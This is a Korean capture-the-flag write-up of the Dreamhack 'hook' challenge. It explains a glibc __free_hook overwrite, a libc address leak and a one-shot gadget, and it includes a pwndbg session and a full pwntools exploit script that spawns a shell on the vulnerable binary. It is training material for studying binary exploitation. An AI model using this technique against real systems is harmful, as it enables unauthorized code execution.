Pwnable

[Dreamhack] hook - write up

e_yejun 2023. 1. 17. 14:25

Index


hook
Desciption 이 문제는 작동하고 있는 서비스(hook)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 _hook Overwrite 공격 기법으로 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다. 플래그의 형식은 DH{...} 입니다.
https://dreamhack.io/wargame/challenges/52/

문제

보호기법 확인

PIE를 제외한 NX, Canary, Full RELRO가 걸려있다.

hook.c

// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);

    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

문제 풀이

*(long *)*ptr = *(ptr+1);를 보면, ptr 포인터 변수 안에 있는 주소의 ptr+1 주소의 을 넣는다. 이때 ptr의 주소값이 __free_hook 변수 주소라면 이 값에 ptr+1 주소의 값을 넣어줄 수 있다. 이후 free(ptr); 이 실행되면서 __free_hook 변수를 확인하게 되고, ptr+1에 oneshot 가젯을 넣어주면 셸을 얻을 수 있다.

  • __free_hook에 함수 주소를 넣어주는가?
    void *
    __libc_malloc (size_t bytes)
    {
      mstate ar_ptr;
      void *victim;
      void *(*hook) (size_t, const void *)
        = atomic_forced_read (__malloc_hook); // read hook
      if (__builtin_expect (hook != NULL, 0))
        return (*hook)(bytes, RETURN_ADDRESS (0)); // call hook

    malloc, realloc, free와 같이 힙 영역에서 동적할당을 위한 변수를 위해 GNU C 라이브러리에서는 __malooc_hook, __realooc_hook, __free_hook과 같은 변수가 제공된다. 이와 같은 변수에 후킹함수의 주소가 저장되어 있으면 함수가 호출될 때, 후킹 함수가 호출된다.

    __malooc_hook, __realloc_hook, __free_hook 변수는 쓰기 가능한 영역에 존재하기 때문에 후킹 변수를 사용하는 함수가 있으며 익스플로잇에 사용될 수 있다.

1. Libc Leak

가젯으로 얻은 값은 오프셋이기 때문에, libc의 시작 주소가 필요하다. 이 문제에서는 맨 위에서 stdout의 주소를 leak 해주기 때문에 stdout offset을 빼주면 libc의 시작주소를 얻을 수 있다.

  • stdout 출력 부분
  • stdout 라이브러리 확인
  • _IO_2_1_stdout 오프셋

Libc Base Address (실행 시 마다 달라짐) : 0x7ffff7dce760 - 0x3ec760 = 0x7ffff79e2000

2. size 입력

💡
size는 ptr과 ptr+1을 담을 수 있게 넉넉하게 주면 된다.

3. __free_hook 주소(=ptr)와 oneshot 가젯(=ptr+1) 입력

__free_hook : 0x7ffff79e2000 + 0x3ed8e8 = 0x7ffff7dcf8e8

oneshot : 0x7ffff79e2000 + 0x4f302 = 0x7ffff7a31302

pwndbg> b *0x00000000004009e4 #after read
Breakpoint 1 at 0x4009e4
pwndbg> b *0x0000000000400a00 #free before
Breakpoint 2 at 0x400a00
pwndbg> c

Breakpoint 1, 0x00000000004009e4 in main () #after read

pwndbg> set *0x602260 = 0xf7dcf8e8
pwndbg> set *0x602264 = 0x7fff
pwndbg> set *0x602268 = 0xf7a31302
pwndbg> set *0x60226c = 0x7fff

pwndbg> vis

pwndbg> c
Breakpoint 2, 0x0000000000400a00 in main () #free before
  • before : *(long *)*ptr = *(ptr+1);
  • after : *(long *)*ptr = *(ptr+1);

4. free(ptr) 수행 시 free_hook으로 oneshot 가젯 실행으로 셸 획득

익스플로잇

from pwn import *
context.log_level='debug'

p = process('./hook')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
e = ELF('./hook')
#p = remote("host3.dreamhack.games", 22128)
#libc = ELF("./libc.so.6")

def slog(name, addr): return success(": ".join([name, hex(addr)]))

#local
#oneshot_offset = 0x4f302

#remote
oneshot_offset = 0x4526a

#[1] Leak libc base
p.recvuntil('stdout: ')
stdout = int(p.recvuntil('\n')[:-1],16)
slog("stdout", stdout)
libc_base = stdout - libc.symbols["_IO_2_1_stdout_"]
free_hook = libc_base + libc.symbols["__free_hook"]
oneshot = libc_base + oneshot_offset

slog("libc_base", libc_base)
slog("free_hook", free_hook)
slog("oneshot", oneshot)

payload = p64(free_hook)
payload += p64(oneshot)

p.sendlineafter(b"Size: ", b"16")
p.sendlineafter(b"Data: ", payload)

p.interactive()


Uploaded by N2T